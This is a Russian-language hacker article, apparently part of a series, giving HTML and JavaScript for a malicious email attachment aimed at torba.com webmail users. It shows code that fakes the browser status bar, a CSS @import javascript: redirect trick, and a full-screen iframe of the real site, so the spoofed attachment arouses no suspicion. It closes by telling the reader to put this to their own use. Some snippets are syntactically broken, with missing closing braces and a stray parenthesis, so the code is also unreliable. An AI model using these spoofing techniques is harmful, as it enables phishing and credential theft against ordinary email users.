Ну что же, это наверное последняя статья из этого цикла. На этот раз сделаем все
на www.torba.com... Все как всегда - пришел аттач в виде хтмл, но в нем есть
один недостаток :(, юзер может учуять подмену посмотрев на статусбар.
Следовательно, мы должны подменить и строку состояния вот например этот скрипт
сделает так, что в строке состояния всегда будет надпись "Готово": 

<head> 
<script> 
function setStatus(){ 
window.status='Готово'; 
setTimeout("setStatus;",1) 

</script> 
</head> 
<body onload="window.defaultStatus='Готово';"> 
<script> 
setTimeout("setStatus();",1) 
</script> 

Шик! Теперь если мы воспользуемся приемом подмены адресной строки (см. "Как
побороть UKR.NET
"). То получим идеальный редирект. Вот читал доки о стилях, и случайно накопал такую шнягу: 

<style TYPE="text/css"> 
@import url(http://www.xakep.ru); 
</style> 

Эта конструкция загрузит таблицу стилей хакера, а что по твоему делает это чудо: 

<style TYPE="text/css"> 
@import url(javascript:document.location.href='http://www.xakep.ru')); 
</style> 

Правильно редиректит на хакер! Никогда не знаешь, куда можно вписать скрипт,
если так будет дальше, то можно будет вставлять код в рисунки 🙂 

А теперь правильный редирект, в смысле
никаких подозрений: 

<head> 
<script> 
var flag=1; 
function setStatus(){ 
if (flag==1){ 
window.status='Открытие страницы http://www.torba.com/main.shtml...'; 
setTimeout('setStatus()',1); 
}else 

window.status='Готово'; 


setStatus(); 
</script> 
</head> 

<body> 
<iframe style="position:absolute;left:0;top:0" width=100% height=1000 
src="http://www.torba.com/main.shtml" onload="flag=0;"></iframe>
 

А теперь объясняю: как только загрузился аттач,
переменная flag стает ровна 1. Это значит фальсифицируем строку состояния
(см. условие).... когда прогрузится фрейм, то изменять строку нам уже не надо, тогда
присваиваем flag=0. Вот и все. Чтобы сделать его более реалистичным можем заменить строку: 

window.status='Открытие страницы http://www.torba.com/main.shtml...'; 

на 

window.status='Открытие страницы '+document.location+'...'; 

тогда вне зависимости от адресной строки, статусбар будет
тем же. Ну вот пожалуй и все, руки у тебя не кривые, че с этим делать сам знаешь. 

P.S. Я надеюсь.... 🙂

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии